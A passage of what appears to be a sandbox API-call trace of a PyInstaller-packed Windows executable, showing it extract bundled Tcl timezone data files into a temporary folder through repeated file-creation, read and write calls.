lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.018] CloseHandle (hObject=0x10c) returned 1 [0040.018] GetLastError () returned 0x0 [0040.018] SetLastError (dwErrCode=0x0) [0040.018] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.018] GetFileType (hFile=0x10c) returned 0x1 [0040.018] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.018] CloseHandle (hObject=0x10c) returned 1 [0040.018] GetLastError () returned 0x0 [0040.019] SetLastError (dwErrCode=0x0) [0040.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.019] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.019] GetFileType (hFile=0x10c) returned 0x1 [0040.019] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.019] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.019] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.019] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.019] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.019] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.019] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.019] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.019] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.019] CloseHandle (hObject=0x10c) returned 1 [0040.019] GetLastError () returned 0x0 [0040.019] SetLastError (dwErrCode=0x0) [0040.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Brunei") returned 68 [0040.019] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Brunei" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\brunei"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.019] GetLastError () returned 0x2 [0040.019] SetLastError (dwErrCode=0x2) [0040.019] GetLastError () returned 0x2 [0040.019] SetLastError (dwErrCode=0x2) [0040.019] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Brunei", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Brunei", lpFilePart=0x0) returned 0x43 [0040.019] GetLastError () returned 0x2 [0040.019] SetLastError (dwErrCode=0x2) [0040.019] GetLastError () returned 0x2 [0040.019] SetLastError (dwErrCode=0x2) [0040.019] GetLastError () returned 0x2 [0040.020] SetLastError (dwErrCode=0x2) [0040.020] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Brunei") returned 68 [0040.020] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.020] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Brunei" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\brunei"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.020] GetFileType (hFile=0x10c) returned 0x1 [0040.020] htonl (hostlong=0xad000000) returned 0xad [0040.020] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.021] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xad, lpOverlapped=0x0) returned 1 [0040.021] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.021] CloseHandle (hObject=0x10c) returned 1 [0040.022] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.022] htonl (hostlong=0x30000000) returned 0x30 [0040.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.022] GetFileType (hFile=0x10c) returned 0x1 [0040.022] htonl (hostlong=0xb1c35a00) returned 0x5ac3b1 [0040.022] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f73b1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.022] htonl (hostlong=0x87000000) returned 0x87 [0040.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0040.022] htonl (hostlong=0x87000000) returned 0x87 [0040.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.022] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.022] htonl (hostlong=0xad000000) returned 0xad [0040.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xad) returned 0x550600 [0040.022] htonl (hostlong=0x87000000) returned 0x87 [0040.022] htonl (hostlong=0xad000000) returned 0xad [0040.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.022] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.022] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.022] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.022] CloseHandle (hObject=0x10c) returned 1 [0040.022] GetLastError () returned 0x0 [0040.022] SetLastError (dwErrCode=0x0) [0040.022] GetLastError () returned 0x0 [0040.022] SetLastError (dwErrCode=0x0) [0040.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.023] GetFileType (hFile=0x10c) returned 0x1 [0040.023] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.023] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.023] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.023] CloseHandle (hObject=0x10c) returned 1 [0040.023] GetLastError () returned 0x0 [0040.023] SetLastError (dwErrCode=0x0) [0040.023] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.023] GetFileType (hFile=0x10c) returned 0x1 [0040.023] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.023] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.024] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.024] CloseHandle (hObject=0x10c) returned 1 [0040.024] GetLastError () returned 0x0 [0040.024] SetLastError (dwErrCode=0x0) [0040.024] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.024] GetFileType (hFile=0x10c) returned 0x1 [0040.024] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.024] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.024] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.024] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.024] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.024] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.024] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.024] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.024] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.024] CloseHandle (hObject=0x10c) returned 1 [0040.024] GetLastError () returned 0x0 [0040.024] SetLastError (dwErrCode=0x0) [0040.024] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Calcutta") returned 70 [0040.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Calcutta" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\calcutta"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.024] GetLastError () returned 0x2 [0040.024] SetLastError (dwErrCode=0x2) [0040.024] GetLastError () returned 0x2 [0040.025] SetLastError (dwErrCode=0x2) [0040.025] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Calcutta", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Calcutta", lpFilePart=0x0) returned 0x45 [0040.025] GetLastError () returned 0x2 [0040.025] SetLastError (dwErrCode=0x2) [0040.025] GetLastError () returned 0x2 [0040.025] SetLastError (dwErrCode=0x2) [0040.025] GetLastError () returned 0x2 [0040.025] SetLastError (dwErrCode=0x2) [0040.025] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Calcutta") returned 70 [0040.025] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.025] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Calcutta" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\calcutta"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.025] GetFileType (hFile=0x10c) returned 0x1 [0040.025] htonl (hostlong=0xad000000) returned 0xad [0040.025] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.025] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xad, lpOverlapped=0x0) returned 1 [0040.026] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.026] CloseHandle (hObject=0x10c) returned 1 [0040.026] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.026] htonl (hostlong=0x30000000) returned 0x30 [0040.026] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.026] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.026] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.026] GetFileType (hFile=0x10c) returned 0x1 [0040.026] htonl (hostlong=0x38c45a00) returned 0x5ac438 [0040.026] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f7438, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.026] htonl (hostlong=0x9d010000) returned 0x19d [0040.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x19d) returned 0x550600 [0040.027] htonl (hostlong=0x9d010000) returned 0x19d [0040.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.027] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.027] htonl (hostlong=0xce050000) returned 0x5ce [0040.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5ce) returned 0x55e278 [0040.027] htonl (hostlong=0x9d010000) returned 0x19d [0040.027] htonl (hostlong=0xce050000) returned 0x5ce [0040.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.027] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.027] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.027] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.027] CloseHandle (hObject=0x10c) returned 1 [0040.027] GetLastError () returned 0x0 [0040.027] SetLastError (dwErrCode=0x0) [0040.027] GetLastError () returned 0x0 [0040.027] SetLastError (dwErrCode=0x0) [0040.027] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.027] GetFileType (hFile=0x10c) returned 0x1 [0040.027] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.027] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.027] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.027] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.027] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.027] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.027] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.027] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.028] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.028] CloseHandle (hObject=0x10c) returned 1 [0040.028] GetLastError () returned 0x0 [0040.028] SetLastError (dwErrCode=0x0) [0040.028] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.028] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.028] GetFileType (hFile=0x10c) returned 0x1 [0040.028] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.028] GetFileInformationByHandleEx (in: hFile=0x10c, 